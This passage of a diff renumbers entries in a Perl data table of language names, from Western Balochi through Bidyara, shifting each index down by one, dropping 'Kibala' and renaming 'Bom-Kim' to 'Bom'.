+   q(1172) => [
       q(Western Balochi),
       ],
-   q(1174) => [
+   q(1173) => [
       q(Baga Koga),
       ],
-   q(1175) => [
+   q(1174) => [
       q(Eastern Balochi),
       ],
-   q(1176) => [
+   q(1175) => [
       q(Bagri),
       ],
-   q(1177) => [
+   q(1176) => [
       q(Bawm Chin),
       ],
-   q(1178) => [
+   q(1177) => [
       q(Tagabawa),
       ],
-   q(1179) => [
+   q(1178) => [
       q(Bughotu),
       ],
-   q(1180) => [
+   q(1179) => [
       q(Mbongno),
       ],
-   q(1181) => [
+   q(1180) => [
       q(Warkay-Bipim),
       ],
-   q(1182) => [
+   q(1181) => [
       q(Bhatri),
       ],
-   q(1183) => [
+   q(1182) => [
       q(Balkan Gagauz Turkish),
       ],
-   q(1184) => [
+   q(1183) => [
       q(Benggoi),
       ],
-   q(1185) => [
+   q(1184) => [
       q(Banggai),
       ],
-   q(1186) => [
+   q(1185) => [
       q(Bharia),
       ],
-   q(1187) => [
+   q(1186) => [
       q(Bhili),
       ],
-   q(1188) => [
+   q(1187) => [
       q(Biga),
       ],
-   q(1189) => [
+   q(1188) => [
       q(Bhadrawahi),
       ],
-   q(1190) => [
+   q(1189) => [
       q(Bhaya),
       ],
-   q(1191) => [
+   q(1190) => [
       q(Odiai),
       ],
-   q(1192) => [
+   q(1191) => [
       q(Binandere),
       ],
-   q(1193) => [
+   q(1192) => [
       q(Bukharic),
       ],
-   q(1194) => [
+   q(1193) => [
       q(Bhilali),
       ],
-   q(1195) => [
+   q(1194) => [
       q(Bahing),
       ],
-   q(1196) => [
+   q(1195) => [
       q(Bimin),
       ],
-   q(1197) => [
+   q(1196) => [
       q(Bathari),
       ],
-   q(1198) => [
+   q(1197) => [
       q(Bohtan Neo-Aramaic),
       ],
-   q(1199) => [
+   q(1198) => [
       q(Bima),
       ],
-   q(1200) => [
+   q(1199) => [
       q(Tukang Besi South),
       ],
-   q(1201) => [
+   q(1200) => [
       q(Bara Malagasy),
       ],
-   q(1202) => [
+   q(1201) => [
       q(Buwal),
       ],
-   q(1203) => [
+   q(1202) => [
       q(Bhattiyali),
       ],
-   q(1204) => [
+   q(1203) => [
       q(Bhunjia),
       ],
-   q(1205) => [
+   q(1204) => [
       q(Bahau),
       ],
-   q(1206) => [
+   q(1205) => [
       q(Biak),
       ],
-   q(1207) => [
+   q(1206) => [
       q(Bhalay),
       ],
-   q(1208) => [
+   q(1207) => [
       q(Bhele),
       ],
-   q(1209) => [
+   q(1208) => [
       q(Bada (Indonesia)),
       ],
-   q(1210) => [
+   q(1209) => [
       q(Badimaya),
       ],
-   q(1211) => [
+   q(1210) => [
       q(Bissa),
       q(Bisa),
       ],
-   q(1212) => [
+   q(1211) => [
       q(Bikaru),
       ],
-   q(1213) => [
+   q(1212) => [
       q(Bidiyo),
       ],
-   q(1214) => [
+   q(1213) => [
       q(Bepour),
       ],
-   q(1215) => [
+   q(1214) => [
       q(Biafada),
       ],
-   q(1216) => [
+   q(1215) => [
       q(Biangai),
       ],
-   q(1217) => [
+   q(1216) => [
       q(Vaghat-Ya-Bijim-Legeri),
       ],
-   q(1218) => [
+   q(1217) => [
       q(Bile),
       ],
-   q(1219) => [
+   q(1218) => [
       q(Bimoba),
       ],
-   q(1220) => [
+   q(1219) => [
       q(Nai),
       ],
-   q(1221) => [
+   q(1220) => [
       q(Bila),
       ],
-   q(1222) => [
+   q(1221) => [
       q(Bipi),
       ],
-   q(1223) => [
+   q(1222) => [
       q(Bisorio),
       ],
-   q(1224) => [
+   q(1223) => [
       q(Berinomo),
       ],
-   q(1225) => [
+   q(1224) => [
       q(Biete),
       ],
-   q(1226) => [
+   q(1225) => [
       q(Southern Birifor),
       ],
-   q(1227) => [
+   q(1226) => [
       q(Kol (Cameroon)),
       ],
-   q(1228) => [
+   q(1227) => [
       q(Bijori),
       ],
-   q(1229) => [
+   q(1228) => [
       q(Birhor),
       ],
-   q(1230) => [
+   q(1229) => [
       q(Baloi),
       ],
-   q(1231) => [
+   q(1230) => [
       q(Budza),
       ],
-   q(1232) => [
+   q(1231) => [
       q(Banggarla),
       ],
-   q(1233) => [
+   q(1232) => [
       q(Bariji),
       ],
-   q(1234) => [
+   q(1233) => [
       q(Biao-Jiao Mien),
       ],
-   q(1235) => [
+   q(1234) => [
       q(Barzani Jewish Neo-Aramaic),
       ],
-   q(1236) => [
+   q(1235) => [
       q(Bidyogo),
       ],
-   q(1237) => [
+   q(1236) => [
       q(Bahinemo),
       ],
-   q(1238) => [
+   q(1237) => [
       q(Burji),
       ],
-   q(1239) => [
+   q(1238) => [
       q(Kanauji),
       ],
-   q(1240) => [
+   q(1239) => [
       q(Barok),
       ],
-   q(1241) => [
+   q(1240) => [
       q(Bulu (Papua New Guinea)),
       ],
-   q(1242) => [
+   q(1241) => [
       q(Bajelani),
       ],
-   q(1243) => [
+   q(1242) => [
       q(Banjar),
       ],
-   q(1244) => [
+   q(1243) => [
       q(Mid-Southern Banda),
       ],
-   q(1245) => [
+   q(1244) => [
       q(Fanamaket),
       ],
-   q(1246) => [
+   q(1245) => [
       q(Binumarien),
       ],
-   q(1247) => [
+   q(1246) => [
       q(Bajan),
       ],
-   q(1248) => [
+   q(1247) => [
       q(Balanta-Ganja),
       ],
-   q(1249) => [
+   q(1248) => [
       q(Busuu),
       ],
-   q(1250) => [
+   q(1249) => [
       q(Bedjond),
       ],
-   q(1251) => [
+   q(1250) => [
       q(Bakwe),
       ],
-   q(1252) => [
+   q(1251) => [
       q(Banao Itneg),
       ],
-   q(1253) => [
+   q(1252) => [
       q(Bayali),
       ],
-   q(1254) => [
+   q(1253) => [
       q(Baruga),
       ],
-   q(1255) => [
+   q(1254) => [
       q(Kyak),
       ],
-   q(1256) => [
+   q(1255) => [
       q(Baka (Cameroon)),
       ],
-   q(1257) => [
+   q(1256) => [
       q(Binukid),
       q(Talaandig),
       ],
-   q(1258) => [
+   q(1257) => [
       q(Beeke),
       ],
-   q(1259) => [
+   q(1258) => [
       q(Buraka),
       ],
-   q(1260) => [
+   q(1259) => [
       q(Bakoko),
       ],
-   q(1261) => [
+   q(1260) => [
       q(Baki),
       ],
-   q(1262) => [
+   q(1261) => [
       q(Pande),
       ],
-   q(1263) => [
+   q(1262) => [
       q(Brokskat),
       ],
-   q(1264) => [
+   q(1263) => [
       q(Berik),
       ],
-   q(1265) => [
+   q(1264) => [
       q(Kom (Cameroon)),
       ],
-   q(1266) => [
+   q(1265) => [
       q(Bukitan),
       ],
-   q(1267) => [
+   q(1266) => [
       q(Kwa'),
       ],
-   q(1268) => [
+   q(1267) => [
       q(Boko (Democratic Republic of Congo)),
       ],
-   q(1269) => [
+   q(1268) => [
       q(Bakairi),
       ],
-   q(1270) => [
+   q(1269) => [
       q(Bakumpai),
       ],
-   q(1271) => [
+   q(1270) => [
       q(Northern Sorsoganon),
       ],
-   q(1272) => [
+   q(1271) => [
       q(Boloki),
       ],
-   q(1273) => [
+   q(1272) => [
       q(Buhid),
       ],
-   q(1274) => [
+   q(1273) => [
       q(Bekwarra),
       ],
-   q(1275) => [
+   q(1274) => [
       q(Bekwel),
       ],
-   q(1276) => [
+   q(1275) => [
       q(Baikeno),
       ],
-   q(1277) => [
+   q(1276) => [
       q(Bokyi),
       ],
-   q(1278) => [
+   q(1277) => [
       q(Bungku),
       ],
-   q(1279) => [
+   q(1278) => [
       q(Bilua),
       ],
-   q(1280) => [
+   q(1279) => [
       q(Bella Coola),
       ],
-   q(1281) => [
+   q(1280) => [
       q(Bolango),
       ],
-   q(1282) => [
+   q(1281) => [
       q(Balanta-Kentohe),
       ],
-   q(1283) => [
+   q(1282) => [
       q(Buol),
       ],
-   q(1284) => [
+   q(1283) => [
       q(Balau),
       ],
-   q(1285) => [
+   q(1284) => [
       q(Kuwaa),
       ],
-   q(1286) => [
+   q(1285) => [
       q(Bolia),
       ],
-   q(1287) => [
+   q(1286) => [
       q(Bolongan),
       ],
-   q(1288) => [
+   q(1287) => [
       q(Pa'o Karen),
       q(Pa'O),
       ],
-   q(1289) => [
+   q(1288) => [
       q(Biloxi),
       ],
-   q(1290) => [
+   q(1289) => [
       q(Beli (Sudan)),
       ],
-   q(1291) => [
+   q(1290) => [
       q(Southern Catanduanes Bikol),
       ],
-   q(1292) => [
+   q(1291) => [
       q(Anii),
       ],
-   q(1293) => [
+   q(1292) => [
       q(Blablanga),
       ],
-   q(1294) => [
+   q(1293) => [
       q(Baluan-Pam),
       ],
-   q(1295) => [
+   q(1294) => [
       q(Blang),
       ],
-   q(1296) => [
+   q(1295) => [
       q(Balaesang),
       ],
-   q(1297) => [
+   q(1296) => [
       q(Tai Dam),
       ],
-   q(1298) => [
-      q(Kibala),
+   q(1297) => [
       q(Bolo),
       ],
-   q(1299) => [
+   q(1298) => [
       q(Balangao),
       ],
-   q(1300) => [
+   q(1299) => [
       q(Mag-Indi Ayta),
       ],
-   q(1301) => [
+   q(1300) => [
       q(Notre),
       ],
-   q(1302) => [
+   q(1301) => [
       q(Balantak),
       ],
-   q(1303) => [
+   q(1302) => [
       q(Lame),
       ],
-   q(1304) => [
+   q(1303) => [
       q(Bembe),
       ],
-   q(1305) => [
+   q(1304) => [
       q(Biem),
       ],
-   q(1306) => [
+   q(1305) => [
       q(Baga Manduri),
       ],
-   q(1307) => [
+   q(1306) => [
       q(Limassa),
       ],
-   q(1308) => [
-      q(Bom-Kim),
+   q(1307) => [
+      q(Bom),
       ],
-   q(1309) => [
+   q(1308) => [
       q(Bamwe),
       ],
-   q(1310) => [
+   q(1309) => [
       q(Kein),
       ],
-   q(1311) => [
+   q(1310) => [
       q(Bagirmi),
       ],
-   q(1312) => [
+   q(1311) => [
       q(Bote-Majhi),
       ],
-   q(1313) => [
+   q(1312) => [
       q(Ghayavi),
       ],
-   q(1314) => [
+   q(1313) => [
       q(Bomboli),
       ],
-   q(1315) => [
+   q(1314) => [
       q(Northern Betsimisaraka Malagasy),
       ],
-   q(1316) => [
+   q(1315) => [
       q(Bina (Papua New Guinea)),
       ],
-   q(1317) => [
+   q(1316) => [
       q(Bambalang),
       ],
-   q(1318) => [
+   q(1317) => [
       q(Bulgebi),
       ],
-   q(1319) => [
+   q(1318) => [
       q(Bomu),
       ],
-   q(1320) => [
+   q(1319) => [
       q(Muinane),
       ],
-   q(1321) => [
+   q(1320) => [
       q(Bilma Kanuri),
       ],
-   q(1322) => [
+   q(1321) => [
       q(Biao Mon),
       ],
-   q(1323) => [
+   q(1322) => [
       q(Somba-Siawari),
       ],
-   q(1324) => [
+   q(1323) => [
       q(Bum),
       ],
-   q(1325) => [
+   q(1324) => [
       q(Bomwali),
       ],
-   q(1326) => [
+   q(1325) => [
       q(Baimak),
       ],
-   q(1327) => [
+   q(1326) => [
       q(Baramu),
       ],
-   q(1328) => [
+   q(1327) => [
       q(Bonerate),
       ],
-   q(1329) => [
+   q(1328) => [
       q(Bookan),
       ],
-   q(1330) => [
+   q(1329) => [
       q(Bontok),
       ],
-   q(1331) => [
+   q(1330) => [
       q(Banda (Indonesia)),
       ],
-   q(1332) => [
+   q(1331) => [
       q(Bintauna),
       ],
-   q(1333) => [
+   q(1332) => [
       q(Masiwang),
       ],
-   q(1334) => [
+   q(1333) => [
       q(Benga),
       ],
-   q(1335) => [
+   q(1334) => [
       q(Bangi),
       ],
-   q(1336) => [
+   q(1335) => [
       q(Eastern Tawbuid),
       ],
-   q(1337) => [
+   q(1336) => [
       q(Bierebo),
       ],
-   q(1338) => [
+   q(1337) => [
       q(Boon),
       ],
-   q(1339) => [
+   q(1338) => [
       q(Batanga),
       ],
-   q(1340) => [
+   q(1339) => [
       q(Bunun),
       ],
-   q(1341) => [
+   q(1340) => [
       q(Bantoanon),
       ],
-   q(1342) => [
+   q(1341) => [
       q(Bola),
       ],
-   q(1343) => [
+   q(1342) => [
       q(Bantik),
       ],
-   q(1344) => [
+   q(1343) => [
       q(Butmas-Tur),
       ],
-   q(1345) => [
+   q(1344) => [
       q(Bundeli),
       ],
-   q(1346) => [
+   q(1345) => [
       q(Bentong),
       ],
-   q(1347) => [
+   q(1346) => [
       q(Bonerif),
       q(Beneraf),
       q(Edwas),
       ],
-   q(1348) => [
+   q(1347) => [
       q(Bisis),
       ],
-   q(1349) => [
+   q(1348) => [
       q(Bangubangu),
       ],
-   q(1350) => [
+   q(1349) => [
       q(Bintulu),
       ],
-   q(1351) => [
+   q(1350) => [
       q(Beezen),
       ],
-   q(1352) => [
+   q(1351) => [
       q(Bora),
       ],
-   q(1353) => [
+   q(1352) => [
       q(Aweer),
       ],
-   q(1354) => [
+   q(1353) => [
       q(Mundabli),
       ],
-   q(1355) => [
+   q(1354) => [
       q(Bolon),
       ],
-   q(1356) => [
+   q(1355) => [
       q(Bamako Sign Language),
       ],
-   q(1357) => [
+   q(1356) => [
       q(Boma),
       ],
-   q(1358) => [
+   q(1357) => [
       q(Barbareno),
       ],
-   q(1359) => [
+   q(1358) => [
       q(Anjam),
       ],
-   q(1360) => [
+   q(1359) => [
       q(Bonjo),
       ],
-   q(1361) => [
+   q(1360) => [
       q(Bole),
       ],
-   q(1362) => [
+   q(1361) => [
       q(Berom),
       ],
-   q(1363) => [
+   q(1362) => [
       q(Bine),
       ],
-   q(1364) => [
+   q(1363) => [
       q(Tiemacewe Bozo),
       ],
-   q(1365) => [
+   q(1364) => [
       q(Bonkiman),
       ],
-   q(1366) => [
+   q(1365) => [
       q(Bogaya),
       ],
-   q(1367) => [
+   q(1366) => [
       q(Bororo),
       ],
-   q(1368) => [
+   q(1367) => [
       q(Bongo),
       ],
-   q(1369) => [
+   q(1368) => [
       q(Bondei),
       ],
-   q(1370) => [
+   q(1369) => [
       q(Tuwuli),
       ],
-   q(1371) => [
+   q(1370) => [
       q(Rema),
       ],
-   q(1372) => [
+   q(1371) => [
       q(Buamu),
       ],
-   q(1373) => [
+   q(1372) => [
       q(Bodo (Central African Republic)),
       ],
-   q(1374) => [
+   q(1373) => [
       q(Tieyaxo Bozo),
       ],
-   q(1375) => [
+   q(1374) => [
       q(Daakaka),
       ],
-   q(1376) => [
+   q(1375) => [
       q(Barbacoas),
       ],
-   q(1377) => [
+   q(1376) => [
       q(Banda-Banda),
       ],
-   q(1378) => [
+   q(1377) => [
       q(Bonggo),
       ],
-   q(1379) => [
+   q(1378) => [
       q(Botlikh),
       ],
-   q(1380) => [
+   q(1379) => [
       q(Bagupi),
       ],
-   q(1381) => [
+   q(1380) => [
       q(Binji),
       ],
-   q(1382) => [
+   q(1381) => [
       q(Orowe),
       q('Oroe),
       ],
-   q(1383) => [
+   q(1382) => [
       q(Broome Pearling Lugger Pidgin),
       ],
-   q(1384) => [
+   q(1383) => [
       q(Biyom),
       ],
-   q(1385) => [
+   q(1384) => [
       q(Dzao Min),
       ],
-   q(1386) => [
+   q(1385) => [
       q(Anasi),
       ],
-   q(1387) => [
+   q(1386) => [
       q(Kaure),
       ],
-   q(1388) => [
+   q(1387) => [
       q(Banda Malay),
       ],
-   q(1389) => [
+   q(1388) => [
       q(Koronadal Blaan),
       ],
-   q(1390) => [
+   q(1389) => [
       q(Sarangani Blaan),
       ],
-   q(1391) => [
+   q(1390) => [
       q(Barrow Point),
       ],
-   q(1392) => [
+   q(1391) => [
       q(Bongu),
       ],
-   q(1393) => [
+   q(1392) => [
       q(Bian Marind),
       ],
-   q(1394) => [
+   q(1393) => [
       q(Bo (Papua New Guinea)),
       ],
-   q(1395) => [
+   q(1394) => [
       q(Palya Bareli),
       ],
-   q(1396) => [
+   q(1395) => [
       q(Bishnupriya),
       ],
-   q(1397) => [
+   q(1396) => [
       q(Bilba),
       ],
-   q(1398) => [
+   q(1397) => [
       q(Tchumbuli),
       ],
-   q(1399) => [
+   q(1398) => [
       q(Bagusa),
       ],
-   q(1400) => [
+   q(1399) => [
       q(Boko (Benin)),
       q(Boo),
       ],
-   q(1401) => [
+   q(1400) => [
       q(Bung),
       ],
-   q(1402) => [
+   q(1401) => [
       q(Baga Kaloum),
       ],
-   q(1403) => [
+   q(1402) => [
       q(Bago-Kusuntu),
       ],
-   q(1404) => [
+   q(1403) => [
       q(Baima),
       ],
-   q(1405) => [
+   q(1404) => [
       q(Bakhtiari),
       ],
-   q(1406) => [
+   q(1405) => [
       q(Bandial),
       ],
-   q(1407) => [
+   q(1406) => [
       q(Banda-Mbres),
       ],
-   q(1408) => [
+   q(1407) => [
       q(Bilakura),
       ],
-   q(1409) => [
+   q(1408) => [
       q(Wumboko),
       ],
-   q(1410) => [
+   q(1409) => [
       q(Bulgarian Sign Language),
       ],
-   q(1411) => [
+   q(1410) => [
       q(Balo),
       ],
-   q(1412) => [
+   q(1411) => [
       q(Busa),
       ],
-   q(1413) => [
+   q(1412) => [
       q(Biritai),
       ],
-   q(1414) => [
+   q(1413) => [
       q(Burusu),
       ],
-   q(1415) => [
+   q(1414) => [
       q(Bosngun),
       ],
-   q(1416) => [
+   q(1415) => [
       q(Bamukumbit),
       ],
-   q(1417) => [
+   q(1416) => [
       q(Boguru),
       ],
-   q(1418) => [
+   q(1417) => [
       q(Koro Wachi),
       q(Begbere-Ejar),
       ],
-   q(1419) => [
+   q(1418) => [
       q(Buru (Nigeria)),
       ],
-   q(1420) => [
+   q(1419) => [
       q(Baangi),
       ],
-   q(1421) => [
+   q(1420) => [
       q(Bengkala Sign Language),
       ],
-   q(1422) => [
+   q(1421) => [
       q(Bakaka),
       ],
-   q(1423) => [
+   q(1422) => [
       q(Lave),
       ],
-   q(1424) => [
+   q(1423) => [
       q(Berbice Creole Dutch),
       ],
-   q(1425) => [
+   q(1424) => [
       q(Baraamu),
       ],
-   q(1426) => [
+   q(1425) => [
       q(Bera),
       ],
-   q(1427) => [
+   q(1426) => [
       q(Baure),
       ],
-   q(1428) => [
+   q(1427) => [
       q(Brahui),
       ],
-   q(1429) => [
+   q(1428) => [
       q(Mokpwe),
       ],
-   q(1430) => [
+   q(1429) => [
       q(Bieria),
       ],
-   q(1431) => [
+   q(1430) => [
       q(Birked),
       ],
-   q(1432) => [
+   q(1431) => [
       q(Birwa),
       ],
-   q(1433) => [
+   q(1432) => [
       q(Barambu),
       ],
-   q(1434) => [
+   q(1433) => [
       q(Boruca),
       ],
-   q(1435) => [
+   q(1434) => [
       q(Brokkat),
       ],
-   q(1436) => [
+   q(1435) => [
       q(Barapasi),
       ],
-   q(1437) => [
+   q(1436) => [
       q(Breri),
       ],
-   q(1438) => [
+   q(1437) => [
       q(Birao),
       ],
-   q(1439) => [
+   q(1438) => [
       q(Baras),
       ],
-   q(1440) => [
+   q(1439) => [
       q(Bitare),
       ],
-   q(1441) => [
+   q(1440) => [
       q(Eastern Bru),
       ],
-   q(1442) => [
+   q(1441) => [
       q(Western Bru),
       ],
-   q(1443) => [
+   q(1442) => [
       q(Bellari),
       ],
-   q(1444) => [
+   q(1443) => [
       q(Bodo (India)),
       ],
-   q(1445) => [
+   q(1444) => [
       q(Burui),
       ],
-   q(1446) => [
+   q(1445) => [
       q(Bilbil),
       ],
-   q(1447) => [
+   q(1446) => [
       q(Abinomn),
       ],
-   q(1448) => [
+   q(1447) => [
       q(Brunei Bisaya),
       ],
-   q(1449) => [
+   q(1448) => [
       q(Bassari),
       q(Oniyan),
       ],
-   q(1450) => [
+   q(1449) => [
       q(Wushi),
       ],
-   q(1451) => [
+   q(1450) => [
       q(Bauchi),
       ],
-   q(1452) => [
+   q(1451) => [
       q(Bashkardi),
       ],
-   q(1453) => [
+   q(1452) => [
       q(Kati),
       ],
-   q(1454) => [
+   q(1453) => [
       q(Bassossi),
       ],
-   q(1455) => [
+   q(1454) => [
       q(Bangwinji),
       ],
-   q(1456) => [
+   q(1455) => [
       q(Burushaski),
       ],
-   q(1457) => [
+   q(1456) => [
       q(Basa-Gumna),
       ],
-   q(1458) => [
+   q(1457) => [
       q(Busami),
       ],
-   q(1459) => [
+   q(1458) => [
       q(Barasana-Eduria),
       ],
-   q(1460) => [
+   q(1459) => [
       q(Buso),
       ],
-   q(1461) => [
+   q(1460) => [
       q(Baga Sitemu),
       ],
-   q(1462) => [
+   q(1461) => [
       q(Bassa),
       ],
-   q(1463) => [
+   q(1462) => [
       q(Bassa-Kontagora),
       ],
-   q(1464) => [
+   q(1463) => [
       q(Akoose),
       ],
-   q(1465) => [
+   q(1464) => [
       q(Basketo),
       ],
-   q(1466) => [
+   q(1465) => [
       q(Bahonsuai),
       ],
-   q(1467) => [
+   q(1466) => [
       q(Baga Sobane),
       ],
-   q(1468) => [
+   q(1467) => [
       q(Baiso),
       ],
-   q(1469) => [
+   q(1468) => [
       q(Yangkam),
       ],
-   q(1470) => [
+   q(1469) => [
       q(Sabah Bisaya),
       ],
-   q(1471) => [
+   q(1470) => [
       q(Bata),
       ],
-   q(1472) => [
+   q(1471) => [
       q(Bati (Cameroon)),
       ],
-   q(1473) => [
+   q(1472) => [
       q(Batak Dairi),
       ],
-   q(1474) => [
+   q(1473) => [
       q(Gamo-Ningi),
       ],
-   q(1475) => [
+   q(1474) => [
       q(Birgit),
       ],
-   q(1476) => [
+   q(1475) => [
       q(Gagnoa Bete),
       ],
-   q(1477) => [
+   q(1476) => [
       q(Biatah Bidayuh),
       ],
-   q(1478) => [
+   q(1477) => [
       q(Burate),
       ],
-   q(1479) => [
+   q(1478) => [
       q(Bacanese Malay),
       ],
-   q(1480) => [
+   q(1479) => [
       q(Batak Mandailing),
       ],
-   q(1481) => [
+   q(1480) => [
       q(Ratagnon),
       ],
-   q(1482) => [
+   q(1481) => [
       q(Rinconada Bikol),
       ],
-   q(1483) => [
+   q(1482) => [
       q(Budibud),
       ],
-   q(1484) => [
+   q(1483) => [
       q(Batek),
       ],
-   q(1485) => [
+   q(1484) => [
       q(Baetora),
       ],
-   q(1486) => [
+   q(1485) => [
       q(Batak Simalungun),
       ],
-   q(1487) => [
+   q(1486) => [
       q(Bete-Bendi),
       ],
-   q(1488) => [
+   q(1487) => [
       q(Batu),
       ],
-   q(1489) => [
+   q(1488) => [
       q(Bateri),
       ],
-   q(1490) => [
+   q(1489) => [
       q(Butuanon),
       ],
-   q(1491) => [
+   q(1490) => [
       q(Batak Karo),
       ],
-   q(1492) => [
+   q(1491) => [
       q(Bobot),
       ],
-   q(1493) => [
+   q(1492) => [
       q(Batak Alas-Kluet),
       ],
-   q(1494) => [
+   q(1493) => [
       q(Bua),
       ],
-   q(1495) => [
+   q(1494) => [
       q(Bushi),
       ],
-   q(1496) => [
+   q(1495) => [
       q(Ntcham),
       ],
-   q(1497) => [
+   q(1496) => [
       q(Beothuk),
       ],
-   q(1498) => [
+   q(1497) => [
       q(Bushoong),
       ],
-   q(1499) => [
+   q(1498) => [
       q(Younuo Bunu),
       ],
-   q(1500) => [
+   q(1499) => [
       q(Bongili),
       ],
-   q(1501) => [
+   q(1500) => [
       q(Basa-Gurmana),
       ],
-   q(1502) => [
+   q(1501) => [
       q(Bugawac),
       ],
-   q(1503) => [
+   q(1502) => [
       q(Bulu (Cameroon)),
       ],
-   q(1504) => [
+   q(1503) => [
       q(Sherbro),
       ],
-   q(1505) => [
+   q(1504) => [
       q(Terei),
       ],
-   q(1506) => [
+   q(1505) => [
       q(Busoa),
       ],
-   q(1507) => [
+   q(1506) => [
       q(Brem),
       ],
-   q(1508) => [
+   q(1507) => [
       q(Bokobaru),
       ],
-   q(1509) => [
+   q(1508) => [
       q(Bungain),
       ],
-   q(1510) => [
+   q(1509) => [
       q(Budu),
       ],
-   q(1511) => [
+   q(1510) => [
       q(Bun),
       ],
-   q(1512) => [
+   q(1511) => [
       q(Bubi),
       ],
-   q(1513) => [
+   q(1512) => [
       q(Boghom),
       ],
-   q(1514) => [
+   q(1513) => [
       q(Bullom So),
       ],
-   q(1515) => [
+   q(1514) => [
       q(Bukwen),
       ],
-   q(1516) => [
+   q(1515) => [
       q(Barein),
       ],
-   q(1517) => [
+   q(1516) => [
       q(Bube),
       ],
-   q(1518) => [
+   q(1517) => [
       q(Baelelea),
       ],
-   q(1519) => [
+   q(1518) => [
       q(Baeggu),
       ],
-   q(1520) => [
+   q(1519) => [
       q(Berau Malay),
       ],
-   q(1521) => [
+   q(1520) => [
       q(Boor),
       ],
-   q(1522) => [
+   q(1521) => [
       q(Bonkeng),
       ],
-   q(1523) => [
+   q(1522) => [
       q(Bure),
       ],
-   q(1524) => [
+   q(1523) => [
       q(Belanda Viri),
       ],
-   q(1525) => [
+   q(1524) => [
       q(Baan),
       ],
-   q(1526) => [
+   q(1525) => [
       q(Bukat),
       ],
-   q(1527) => [
+   q(1526) => [
       q(Bolivian Sign Language),
       ],
-   q(1528) => [
+   q(1527) => [
       q(Bamunka),
       ],
-   q(1529) => [
+   q(1528) => [
       q(Buna),
       ],
-   q(1530) => [
+   q(1529) => [
       q(Bolgo),
       ],
-   q(1531) => [
+   q(1530) => [
       q(Bumang),
       ],
-   q(1532) => [
+   q(1531) => [
       q(Birri),
       ],
-   q(1533) => [
+   q(1532) => [
       q(Burarra),
       ],
-   q(1534) => [
+   q(1533) => [
       q(Bati (Indonesia)),
       ],
-   q(1535) => [
+   q(1534) => [
       q(Bukit Malay),
       ],
-   q(1536) => [
+   q(1535) => [
       q(Baniva),
       ],
-   q(1537) => [
+   q(1536) => [
       q(Boga),
       ],
-   q(1538) => [
+   q(1537) => [
       q(Dibole),
       ],
-   q(1539) => [
+   q(1538) => [
       q(Baybayanon),
       ],
-   q(1540) => [
+   q(1539) => [
       q(Bauzi),
       ],
-   q(1541) => [
+   q(1540) => [
       q(Bwatoo),
       ],
-   q(1542) => [
+   q(1541) => [
       q(Namosi-Naitasiri-Serua),
       ],
-   q(1543) => [
+   q(1542) => [
       q(Bwile),
       ],
-   q(1544) => [
+   q(1543) => [
       q(Bwaidoka),
       ],
-   q(1545) => [
+   q(1544) => [
       q(Bwe Karen),
       ],
-   q(1546) => [
+   q(1545) => [
       q(Boselewa),
       ],
-   q(1547) => [
+   q(1546) => [
       q(Barwe),
       ],
-   q(1548) => [
+   q(1547) => [
       q(Bishuo),
       ],
-   q(1549) => [
+   q(1548) => [
       q(Baniwa),
       ],
-   q(1550) => [
+   q(1549) => [
       q(Laa Laa Bwamu),
       ],
-   q(1551) => [
+   q(1550) => [
       q(Bauwaki),
       ],
-   q(1552) => [
+   q(1551) => [
       q(Bwela),
       ],
-   q(1553) => [
+   q(1552) => [
       q(Biwat),
       ],
-   q(1554) => [
+   q(1553) => [
       q(Wunai Bunu),
       ],
-   q(1555) => [
+   q(1554) => [
       q(Boro (Ethiopia)),
       q(Borna (Ethiopia)),
       ],
-   q(1556) => [
+   q(1555) => [
       q(Mandobo Bawah),
       ],
-   q(1557) => [
+   q(1556) => [
       q(Southern Bobo Madare),
       ],
-   q(1558) => [
+   q(1557) => [
       q(Bura-Pabir),
       ],
-   q(1559) => [
+   q(1558) => [
       q(Bomboma),
       ],
-   q(1560) => [
+   q(1559) => [
       q(Bafaw-Balong),
       ],
-   q(1561) => [
+   q(1560) => [
       q(Buli (Ghana)),
       ],
-   q(1562) => [
+   q(1561) => [
       q(Bwa),
       ],
-   q(1563) => [
+   q(1562) => [
       q(Bu-Nao Bunu),
       ],
-   q(1564) => [
+   q(1563) => [
       q(Cwi Bwamu),
       ],
-   q(1565) => [
+   q(1564) => [
       q(Bwisi),
       ],
-   q(1566) => [
+   q(1565) => [
       q(Tairaha),
       ],
-   q(1567) => [
+   q(1566) => [
       q(Belanda Bor),
       ],
-   q(1568) => [
+   q(1567) => [
       q(Molengue),
       ],
-   q(1569) => [
+   q(1568) => [
       q(Pela),
       ],
-   q(1570) => [
+   q(1569) => [
       q(Birale),
       ],
-   q(1571) => [
+   q(1570) => [
       q(Bilur),
       q(Minigir),
       ],
-   q(1572) => [
+   q(1571) => [
       q(Bangala),
       ],
-   q(1573) => [
+   q(1572) => [
       q(Buhutu),
       ],
-   q(1574) => [
+   q(1573) => [
       q(Pirlatapa),
       ],
-   q(1575) => [
+   q(1574) => [
       q(Bayungu),
       ],
-   q(1576) => [
+   q(1575) => [
       q(Bukusu),
       q(Lubukusu),
       ],
-   q(1577) => [
+   q(1576) => [
       q(Jalkunan),
       ],
-   q(1578) => [
+   q(1577) => [
       q(Mongolia Buriat),
       ],
-   q(1579) => [
+   q(1578) => [
       q(Burduna),
       ],
-   q(1580) => [
+   q(1579) => [
       q(Barikanchi),
       ],
-   q(1581) => [
+   q(1580) => [
       q(Bebil),
       ],
-   q(1582) => [
+   q(1581) => [
       q(Beele),
       ],
-   q(1583) => [
+   q(1582) => [
       q(Russia Buriat),
       ],
-   q(1584) => [
+   q(1583) => [
       q(Busam),
       ],
-   q(1585) => [
+   q(1584) => [
       q(China Buriat),
       ],
-   q(1586) => [
+   q(1585) => [
       q(Berakou),
       ],
-   q(1587) => [
+   q(1586) => [
       q(Bankagooma),
       ],
-   q(1588) => [
+   q(1587) => [
       q(Binahari),
       ],
-   q(1589) => [
+   q(1588) => [
       q(Batak),
       ],
-   q(1590) => [
+   q(1589) => [
       q(Bikya),
       ],
-   q(1591) => [
+   q(1590) => [
       q(Ubaghara),
       ],
-   q(1592) => [
+   q(1591) => [
       q(Benyadu'),
       ],
-   q(1593) => [
+   q(1592) => [
       q(Pouye),
       ],
-   q(1594) => [
+   q(1593) => [
       q(Bete),
       ],
-   q(1595) => [
+   q(1594) => [
       q(Baygo),
       ],
-   q(1596) => [
+   q(1595) => [
       q(Bhujel),
       ],
-   q(1597) => [
+   q(1596) => [
       q(Buyu),
       ],
-   q(1598) => [
+   q(1597) => [
       q(Bina (Nigeria)),
       ],
-   q(1599) => [
+   q(1598) => [
       q(Biao),
       ],
-   q(1600) => [
+   q(1599) => [
       q(Bayono),
       ],
-   q(1601) => [
+   q(1600) => [
       q(Bidyara),
       ],
-   q(1602) => [
+   q(1601) => [
